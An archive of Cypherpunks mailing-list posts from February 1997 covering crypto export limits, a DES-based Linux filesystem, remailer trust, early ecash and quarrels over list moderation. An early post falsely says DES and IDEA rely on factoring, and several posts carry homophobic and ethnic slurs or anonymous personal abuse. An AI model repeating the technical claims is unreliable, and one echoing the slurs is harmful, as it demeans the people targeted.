    If it takes a college student four hours to break
    a 40bit code it should take him/her about six 
    hours to do the same to 56bits. Then what excuses 
    are the government and its butt-kissing companies 
    going to give us for not allowing *real* coding?

4. 56bits will not take 6 hours to crack
    Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST

    Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption
    is hard to crack is because the key system is based on the fact that factoring big numbers is a long,
    slow tedious process which gets exponentially harder as the length of the number increases. What this
    means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key.

    However, the question has to be asked, why the fuck should we non US citizens go and buy
    cryptographic software that is deliberately coded to allow the US government to read our mail? 

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 6 Feb 1997 18:04:15 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Transparent Cryptographic File System (fwd)
Message-ID: <199702070201.VAA29374@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Haven't seen this on cpunks.

----- Forwarded message from Kenneth Stailey -----

>From xtech-request@zephyr.ccrc.wustl.edu  Thu Feb  6 18:26:49 1997
Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST)
Message-Id: <199702062147.QAA29127@duality.gnu.ai.mit.edu>
From: Kenneth Stailey <kstailey@gnu.ai.mit.edu>
To: tech@openbsd.org
Subject: Transparent Cryptographic File System
Sender: owner-tech@openbsd.org
Precedence: bulk

Hi,

I thought that there might be some interest in looking at this:

From: ermmau@ios.diaedu.unisa.it (Ermelindo Mauriello)
Subject: New release of TCFS (Transparent Cryptographic File System)
Newsgroups: comp.os.linux.announce
Date: Thu, 16 Jan 1997 07:14:53 GMT
Followup-To: comp.os.linux.development.system
Organization: Universita' di SALERNO - Dip. Informatica ed Appl.
Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail
Lines: 51
Approved: linux-announce@news.ornl.gov (Lars Wirzenius)
Message-ID: <pgpmoose.199701160914.15063@liw.clinet.fi>
NNTP-Posting-Host: localhost
X-Server-Date: 16 Jan 1997 07:15:02 GMT
X-Original-Date: 15 Jan 1997 14:51:36 GMT
X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce
	iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII
	YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ==
	=aNko

-- Start of PGP signed section.
We are glad to announce that a new release of TCFS
(Transparent Cryptographic File System) for Linux
is now available.

TCFS is a cryptographic filesystem developed at the Universita' di
Salerno (Italy). It operates like NFS but allows users to use a new
flag X to make the files secure (encrypted).
In theis release files are encrypted using DES.

The new release works in Linux kernel space, and may be linked as
a module to Linux 2.0.x kernels.

A mailing-list is available at tcfs-list@mikonos.dia.unisa.it.
Documentation is available at http://mikonos.dia.unisa.it/tcfs.
Here you can find instructions for installing TCFS and docs on
how it works.

Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and
http://www.inopera.it/~ermmau/tcfs

                              \|||/
                              (o o)
     ----------------------ooO--O--Ooo-------------------------------
     ! ////////  //// ////  Ermelindo Mauriello                     !
     ! //        // /// //  e-mail: ermmau@edu-gw.dia.unisa.it      !
     ! /////     //  /  //          ermmau@pantelleria.dia.unisa.it !
     ! //        //     //          ermmau@globenet.it              !
     ! ///////   //     //          ermmau@inopera.it               !
     !--------------------------------------------------------------!
     !          LINUX - The choice of a GNU generation !!!          !
     ----------------------------------------------------------------
-- End of PGP signed section.

----- End of forwarded message from Kenneth Stailey -----

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 19:40:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702062042.MAA29621@toad.com>
Message-ID: <e5gq2D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Mark <mark@infolawalert.com> writes:
> > I'm almost certain that Murray is a consultant rather than
> > or in addition to an accountant. He's been saying these things
>
> William Murray used to post frequently to sci.crypt, alt.security.pgp,
> etc when I read those forums.  He also I think wrote the forword for
> one of the books on using PGP.

One of my first flame wars on Internet, some 15 years ago, was with
William H. Murray over my criticism of DES.  How time flies. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 21:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: My messages not appearing on either of the lists?
Message-ID: <v03007801af20611fe990@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

My posting seem to be going into Limbo, being sent neither to the
Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
Hell. At least this is how things now appear.

I sent the message below to the list this morning (Thursday) at 8:43 a.m.
PST. As of tonight, 12 hours later, I haven't seen it on either the
Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
to which I have temporarily subscribed (to see what Sandy counts as a
"flame").

Has anyone else seen it? I've looked, but there's always a chance I somehow
spaced out and missed it. (I doubt it though.) If I have missed it, despite
carefully scanning for it for the past 8-12 hours, my apologies. If it has
not appeared on either the Censored list or the Flames list, then something
is rotten in the state of Denmark.

By the way, I noted that many of the messages which appeared at the
Singapore Web archive site have dates much later than mine, including
several dated at least 8-10 hours after my message. Likewise, some of the
Flames messages are dated much later than my message.

(Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800,
Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on.
One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35
-0800, would by now either have been approved and hence on the Censored
list, or rejected as unfit for Cypherpunks to sully their neurons with, and
hence passed on to the Flames list. By the way, some of the "Flames"
messages are also dated late afternoon or evening.)

So, is my message just sitting around someplace, awaiting some final
decision? What's the basis of this decision? (Perhaps Sandy has "kicked it
upstairs" to John for him to decide on? Just a hypothesis....)

I will repeat my message below. As you will be able to see, my message
contains no "flames" of its own, and the messages it quotes do not seem
flamish to me, either.

(It is true that Vulis uses the phrase "Limey faggots," in reference to
beer-serving habits, but he does not directly insult any list members with
this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
be blocked from their usual characterizations of Congresscritters and NSA
stooges.)


I think a delay of greater than 11 hours in being distributed on one of the
two lists (even if my message is sent out in the next hour or so) is
unacceptable. If a moderator cannot get to traffic in the order in which it
was received and disposition it promptly, he or she has no business being a
moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best
of" compilations are a different matter, for reasons discussed many times
here.)

So, why hasn't this message appeared on one of the two lists?

--Tim May



>Date: Thu, 6 Feb 1997 08:43:35 -0800
>To: cypherpunks@toad.com
>From: "Timothy C. May" <tcmay@got.net>
>Subject: Re: Moderation [Tim,Sandy]
>Cc:
>Bcc:
>X-Attachments:
>
>
>I decided to subscribe only to the "cypherpunks flames" list, just to see
>what was being filtered into it.
>
>The message below is one example of what is going there. I received it,
>and the header includes the line: "Sender:
>owner-cypherpunks-unedited@toad.com", so I am surmising that it was indeed
>filtered into the flames list.
>
>Now, admittedly, the _content_ of this kind of post is "off-topic," but I
>sure don't see any evidence of _flames_.
>
>Is Sandy now filtering based on his notions of list relevance, and not
>just on the basis of insults, jabs, flames, and "lack of comity"? While
>lack of relevance may be a criterion for someone to filter by, it doesn't
>square with anything I recall Sandy citing, and it introduces a new and
>dimension to the debate.
>
>--Tim May
>
>(The entire post is included, to ensure that no one claims I am editing
>out any flames, insults, etc.)
>
>
>At 11:06 PM -0800 2/5/97, Dale Thorn wrote:
>>Dr.Dimitri Vulis KOTM wrote:
>>> Dale Thorn <dthorn@gte.net> writes:
>>
>>> > > > The drunk can be excluded, but when someone wants to use the drunk as
>>> > > > an example to escalate the exclusion to other persons who are not in
>>> > > > fact drunk, watch out!
>>
>>> > > If I get really really drunk, which happens very seldom, then I'm
>>> > > too drunk to post. I don't mind an occasional beer, though.
>>
>>> > > Oksas, have you ever tried beer? :-)
>>
>>> > I had my first beer(s) in three years at one of those industrial
>>> > parties last night.  It made the craps table action seem a bit
>>> > merrier, and the girls were friendlier too.
>>
>>> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
>>> one think: I like room-temperature beer better than cold beer. YMMV.
>>
>>Interesting coincidence for people on opposite coasts - the bar at
>>the hotel had two choices:  Bud regular and Coors light.  I took the
>>Coors.
>
>
>
>
>

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: c.musselman@internetmci.com (Charley Musselman)
Date: Thu, 6 Feb 1997 13:20:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous remailers
Message-ID: <32fa39d8.16371604@mail-relay.internetmci.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks --
	When I told a friend about the alt.drugs.pot cultivation newsgroup
and suggested that he use an anonymous remailer to post to the group,
he laughed and said, "Who do you suppose runs the remailers?  ATF,
FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
anyone know the answer?  Specifically, how can we choose a trusted
remailer?
Cheers (?),  Charley




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Thu, 6 Feb 1997 21:28:34 -0800 (PST)
To: dev-lucre@c2.net
Subject: World's first Ecash note
Message-ID: <199702070526.VAA12884@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The world's first Ecash note has been printed!

A USD 0.01 note made out to anyone can be found at:

	http://www.veriweb.com/people/jeremey/ecash/1_cent.html

The data portion of the note is a PDF417 2-D barcode, containing a
standard ecash payment of 1 US cent. 

The source code for the general PDF417 encoding and the ecash conversion
will be published as soon as I clean it up and come up with a somewhat
nicer interface. The PDF417 code should be useful for non-ecash stuff as
well, it will encode anything.

I will be bringing a bunch of notes to the bay-area cypherpunks meeting
Saturday.

Suggestions/comments appreciated.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvq83i/fy+vkqMxNAQH/tQP/fSgEQ8K0BQcwTJxnaF7aKg1LzNshMdey
A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU
2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy
nhEPFe2iSc4=
=v84p
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve <steve@idoru.demon.co.uk>
Date: Thu, 6 Feb 1997 13:50:10 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01BC1475.54A10860@idoru>
MIME-Version: 1.0
Content-Type: text/plain


I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
Get me off this list now.!
I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

-----Original Message-----
From:	Majordomo@toad.com [SMTP:Majordomo@toad.com]
Sent:	06 February 1997 19:43
To:	steve
Subject:	Your Majordomo request results

--

Your request of Majordomo was:
>>>> ------ =_NextPart_000_01BC1463.B5C5FAE0
END OF COMMANDS








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 01:11:06 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120059.SAA20410@manifold.algebra.com>
Message-ID: <199702062136.VAA00239@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> so we have myself, Jim Choate, and you who colunteer to host
> mailing lists for the distributed cypherpunks.
> 
> I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> 
> We can coordinate our efforts. Actually, we can even have a mini
> mailing list for people who want to participate in the distributed
> cypherpunks experiment. If there is any interest, I can create such 
> a list.

Please do.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 01:10:48 -0800 (PST)
To: attila@primenet.com
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <199702111932.MAA23647@infowest.com>
Message-ID: <199702062141.VAA00241@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Attila T Hun <attila@primenet.com> writes:
>     tim:  
> 
>     two points you make: 
> 
>     1.  the propogation is slow...
> 
>     2.  some sites do not carry alt. groups
> 
>     are enough to kill an active discussion list. of course, it does
>     slow down excessive volume.

Is there any offline newsreading software for linux?  (Something to
grab feeds from an NNTP server of selected newsgroups to put in
/usr/spool/news/, and something to queue posts for posting via NNTP
when on line)

(My difficulty with USENET groups is that we have pay per second phone
bills over here, and online USENET reading is inefficient, that plus
propogation delays).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 21:37:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702070441.UAA09107@toad.com>
Message-ID: <v03007802af20705f7eae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Why was this message (attached below) sent to the "Flames" list? (*) It
contains an assertion that the remailer operators are colluding to reveal
identities, and this is surely a fit topic for discussion.

(* I have temporarily subscribed to the Flames list to see just what it is
being filtered or censored by Sandy. I received this message, and it had
the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
is a "Flames" message. It would help, by the way, if messages were more
clearly labelled by the Moderator as to which bucket he placed them in.)

While I don't believe this assertion about collusion by the remailer
operators is true, generally, this claim is clearly:

1. Not a flame, but an assertion of opinion.

2. Possibly not true, but it is not the job of the Moderator to decide on
truth.

3. Dealing with an important issue, to wit, the willingness (putatively) of
some remailer operators to talk amongst themselves to deal with "problems."

(If this is not a meaningful and important topic for the Cypherpunks list
to discuss, then what is?)

Here's the message:


At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote:
>c.musselman@internetmci.com (Charley Musselman) writes:
>
>> C'punks --
>> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>Even if the feds are not directtly involved, the so-called "cypher punk"
>remailers are run by people who should not be trusted.  Check out their
>remailer-operators list: it's full of announcements that some specific
>person posted something via the remailer that the operator didn't like.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 6 Feb 1997 22:01:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dr. Denning
Message-ID: <199702070601.WAA16910@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Vermin is a pimply dweeb sitting at a computer chortling
at his own imagined cleverness.

   _<_
  (_|_(  Dimwit Vermin
\-._|_,-,
 `-----'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 6 Feb 1997 22:06:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <Pine.GSO.3.95.970206215534.234F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I find your "distributed democracy" interesting, except that it would
allow scant time for deliberation.

Think of it this way: don't you think the majority of Americans would have
voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or
worse? 

Democracy generally means majoritarian rule. The Bill of Rights is an
anti-majoritarian document. It protects the rights of political or
religious minorities. I fear that electronic "click here to vote"
democracy would undermine the Bill of Rights even more.

-Declan

---

Dale Thorn writes:

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Thu, 6 Feb 1997 14:17:40 -0800 (PST)
To: mail2news@anon.lcs.mit.edu
Subject: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <19970206221726.11238.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Because of recent attacks on the remailer network and mail2news
gateways, I may loose access to at least one of the news servers I
currently feed news to from my mail2news gateway.

If you are a news administrator, believe in free speech and anonymity,
and you would like to help the cause, please consider giving transfer
(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
not be the only server, and so do not need to worry about being the
point of entrance of mail2news articles to Usenet.

Please contact me if you can help.  Thank you.

For those who oppose the existence of mail2news gateways, you should
know that we are taking steps to limit the abuse.  However, doing so
without in any way limiting articles that abide by the usage policy is
tricky, and must be done carefully.  Please be patient.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 20:13:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Message-ID: <iJkq2D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 20:12:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: True story, Fly the Obsfucted Skies (fwd)
In-Reply-To: <199702061915.LAA28280@toad.com>
Message-ID: <yXkq2D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <ray@earthweb.com> writes:
...
> I thought about it. I scratched my goatee. I said:
...
How can an Armenian eunich grow a bear? Even a faggy goatee?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 19:52:04 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702062301.PAA02248@toad.com>
Message-ID: <Pine.SUN.3.95.970206225051.24667D-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


This would be the same Strassmann who stated in public at Harvard early in
1995 that most remailers were run by intelligence agencies such as the
KGB, then denied saying it when asked for substantiation?   And cut it
from his paper?

On Thu, 6 Feb 1997, Vin McLellan wrote:
> Strassmann, the author of this denunciation of RSADS and
> Ian Goldberg, is the former Director of Defense Information
> (i.e., CIO,) of the Bush DoD and an often-insightful commentator

Having said that, there is some debate about the extent to which in
*intelligence gathering* as opposed to, say, trying to crack a banking
protocol, one can reasonably count on a known plaintext.  And much debate
about the processing costs of not having one, especially when one doesn't
know what kind of document is being encrypted (e.g. is it ASCII plaintext?
a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 23:11:46 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970206225437.3853C-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> My posting seem to be going into Limbo, being sent neither to
> the Cypherpunks Heaven Sandy administers nor to the flames of
> the Cypherpunks Hell. At least this is how things now appear.

It doesn't look familiar.  I don't have any idea what happened.
Can anyone tell me if they saw it on the unedited list?  That's
where I would have read it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 23:13:27 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: anonymous remailers
In-Reply-To: <v03007802af20705f7eae@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970206225911.3853F-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> Why was this message (attached below) sent to the "Flames" list? (*) It
> contains an assertion that the remailer operators are colluding to reveal
> identities, and this is surely a fit topic for discussion.
> 
> (* I have temporarily subscribed to the Flames list to see just what it is
> being filtered or censored by Sandy. I received this message, and it had
> the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> is a "Flames" message. It would help, by the way, if messages were more
> clearly labelled by the Moderator as to which bucket he placed them in.)

Currently, there are three lists.  It looks as though the message
in question appeared on the Unedited list.  This is NOT the same
as the Flames list.  
 
I don't recall where I sorted that particular post to after I
read it on the Unedited list.  If it went to the "wrong" list,
my apologies to the author.  As I indicated before, I don't think
a 100% solution is possible, but I think I'm running in the high
90s under the criteria I enunciated.  Not perfection, but a 
definite improvement over the prior condition.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 6 Feb 1997 14:15:06 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: e$ plug, Moderation, Cypherpunks as a bird in the bush
In-Reply-To: <199702061511.HAA24942@toad.com>
Message-ID: <199702062214.XAA15376@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym "Greg Broiles
 <gbroiles@netbox.com>" typed:
> 
> I think that Bob's e$ list should be considered a viable alternative to the
> other two filtered cpunks lists; I recommend it to people looking for a
> moderated alternative to the list.


I like "e$", although I seem to be too busy to contribute
regularly to _any_ forum recently.  (I'm always available for
Real Life Meetings in local bars, though...  Anybody going to
visit Amsterdam soon?)


> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more."


Hey, that's a sufficiently profound "death of cpunks" statement
for me.  I feel the same way-- though I've never been a very
active participant, I really dropped out a few months ago.


I feel like there is more to learn and discuss.  _Much_ more.
It keeps me awake at night sometimes, not knowing exactly what
it is but waiting for it.


But I've had my fill of cypherpunks, and my Objectivist
newsgroup (humanities.philosophy.objectivism), and simplistic
libertarianism.



Keep in touch.  :-)


Bryce

Not speaking for DigiCash.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMvpXvUjbHy8sKZitAQGJ4gL+LClz+b4VwAQdFra5GowzNDOqKEqnhpib
yri3mEEFKU9x35J9Dqu8XHu/TQOJuB5S8LdAmtesvLuKEGkjpVKPHXrSDik5efyp
rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw
=ZVwu
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 6 Feb 1997 23:16:24 -0800 (PST)
To: dev-lucre@c2.net
Subject: IEEE Communications
Message-ID: <v02140b00af2086d240b3@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


A friend called this evening to let me know the February issue is dedicated
to electronic cash and its implications.  I'm no longer an IEEE member.  If
any of the various list members care to excerpt and comment on some of the
more interesting portions, I'm sure it would be appreciated.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 6 Feb 1997 23:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] forgery detection
Message-ID: <199702070727.XAA01052@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


When Deadwood Vulgar K[arcass]OTM's mother gave birth to him
after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

     /\ \  / /\
    //\\ .. //\\ Deadwood Vulgar K[arcass]OTM
    //\((  ))/\\
    /  < `' >  \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 23:42:26 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070742.XAA07034@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


>--- begin forwarded text
>Date:         Thu, 6 Feb 1997 11:24:09 EST
>Reply-To:     Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>Sender:       Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
>Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)

>
>Sorry for the crossposting, but I felt this one might be important enough
>to do it.  The following is a shortened version of an article I've written
>for my firm's client newsletter about H.R. 98, the "Consumer Internet
>Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
>January 7, 1997.  [snip]
>
>Jonathan I. Ezor
>New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
